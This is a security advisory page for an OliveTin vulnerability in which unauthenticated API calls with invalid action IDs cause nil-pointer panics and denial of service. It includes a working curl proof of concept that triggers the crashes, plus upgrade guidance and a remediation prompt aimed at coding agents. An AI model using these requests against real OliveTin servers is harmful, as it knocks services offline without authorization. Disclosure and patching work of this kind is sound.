# GHSA-fwhj-785h-43hh: OliveTin has crash on NPE by calling APIs with invalid bindings or log references

> Unauthenticated attackers can cause denial of service in OliveTin by triggering nil-pointer dereferences via invalid API calls.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 5 Mar 2026
- **Also known as:** GO-2026-4621

## What is GHSA-fwhj-785h-43hh?

GHSA-fwhj-785h-43hh is a vulnerability in github.com/OliveTin/OliveTin, published on 5 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.

### Details
The issue is caused by this flow:

  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:
     - `service/internal/api/api.go:239`

  2. Executor stores a log entry before binding validation:
     - `service/internal/executor/executor.go:519`

  3. If binding is nil, execution stops, but the log entry remains:
     - `service/internal/executor/executor.go:781`

  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:
     - `service/internal/api/api.go:79`

  5. `RestartAction` has the same unsafe dereference:
     - `service/internal/api/api.go:1285`

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

### PoC
  Environment:
  - OliveTin default single frontend on `http://localhost:1337`
  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`

  1) Create orphan tracking ID with invalid action:
  ```bash
  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
    -H 'Content-Type: application/json' \
    --data '{"actionId":"does-not-exist"}' \
    | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
  echo "$T"

  2. Trigger panic in RestartAction:

  curl -v -X POST http://localhost:1337/api/RestartAction \
    -H 'Content-Type: application/json' \
    --data "{\"executionTrackingId\":\"$T\"}"

  3. Trigger panic in KillAction:

  curl -v -X POST http://localhost:1337/api/KillAction \
    -H 'Content-Type: application/json' \
    --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

  - curl: (52) Empty reply from server

Observed server log:

  - panic serving ... runtime error: invalid memory address or nil pointer dereference
  - stack points to:
      - service/internal/api/api.go:79 (KillAction)
      - service/internal/api/api.go:1285 (RestartAction)

```
### Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

## Which versions are affected by GHSA-fwhj-785h-43hh?

3 open source packages ship an affected version, including github.com/OliveTin/OliveTin.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/OliveTin/OliveTin` | Go | All versions | 0.0.0-20260304225158-bb14c5da3e64 |
| `github.com/OliveTin/OliveTin` | Go | All versions | 0.0.0-20260304225158-bb14c5da3e64 |
| `github.com/OliveTin/OliveTin` | Go | All versions | 0.0.0-20260304225158-bb14c5da3e64 |

## How do I fix GHSA-fwhj-785h-43hh?

Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64 or later.

## Is GHSA-fwhj-785h-43hh being exploited?

There is no known exploitation of GHSA-fwhj-785h-43hh in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fwhj-785h-43hh and fix it if it is affected.

What it is: GHSA-fwhj-785h-43hh is a vulnerability in github.com/OliveTin/OliveTin, published on 5 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-fwhj-785h-43hh in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64
- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64
- github.com/OliveTin/OliveTin (Go): affected all versions; fixed in 0.0.0-20260304225158-bb14c5da3e64

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fwhj-785h-43hh/ (Markdown: https://insights.sbomify.com/GHSA-fwhj-785h-43hh/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fwhj-785h-43hh

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fwhj-785h-43hh/
Summaries are generated and may contain mistakes; the official description above is the record.